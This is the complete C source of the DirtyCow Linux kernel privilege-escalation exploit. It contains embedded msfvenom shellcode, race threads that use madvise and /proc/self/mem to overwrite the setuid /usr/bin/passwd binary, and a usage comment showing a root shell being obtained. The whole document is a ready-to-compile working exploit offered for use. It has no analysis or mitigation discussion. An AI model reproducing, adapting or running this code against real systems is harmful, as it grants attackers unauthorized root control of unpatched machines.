/* * (un)comment correct payload first (x86 or x64)! * * $ gcc cowroot.c -o cowroot -pthread * $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd overwritten * Popping root shell. * Don't worry,/usr/bin/passwd has been restored. * thread stopped * thread stopped * [email protected]:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo) * * @robinverton */ #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <unistd.h> void *map; int f; int stop = 0; struct stat st; char *name; pthread_t pth1,pth2,pth3; char suid_binary[] = "/usr/bin/passwd"; /* * $ msfvenom -p linux/x64/exec CMD="echo 0 > /proc/sys/vm/dirty_writeback_centisecs&&cp -f /tmp/bak /usr/bin/passwd&&/bin/bash" PrependSetuid=True -f elf | xxd -i */ unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x5b, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x30, 0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63, 0x73, 0x26, 0x26, 0x63, 0x70, 0x20, 0x2d, 0x66, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x62, 0x61, 0x6b, 0x20, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x26, 0x26, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 258; void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<1000000 && !stop;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("thread stopped\n"); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<1000000 && !stop;i++) { lseek(f,map,SEEK_SET); c+=write(f, str, sc_len); } printf("thread stopped\n"); } void *waitForWrite(void *arg) { char buf[sc_len]; for(;;) { FILE *fp = fopen(suid_binary, "rb"); fread(buf, sc_len, 1, fp); if(memcmp(buf, sc, sc_len) == 0) { printf("%s overwritten\n", suid_binary); break; } fclose(fp); sleep(1); } stop = 1; printf("Popping root shell.\n"); printf("Don't worry,/usr/bin/passwd has been restored.\n"); system(suid_binary); } int main(int argc,char *argv[]) { char *backup; printf("DirtyCow root privilege escalation\n"); printf("Backing up %s to /tmp/bak\n", suid_binary); asprintf(&backup, "cp %s /tmp/bak", suid_binary); system(backup); f = open(suid_binary,O_RDONLY); fstat(f,&st); printf("Size of binary: %d\n", st.st_size); char payload[st.st_size]; memset(payload, 0x90, st.st_size); memcpy(payload, sc, sc_len+1); map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("Racing, this may take a while..\n"); pthread_create(&pth1, NULL, &madviseThread, suid_binary); pthread_create(&pth2, NULL, &procselfmemThread, payload); pthread_create(&pth3, NULL, &waitForWrite, NULL); pthread_join(pth3, NULL); return 0; }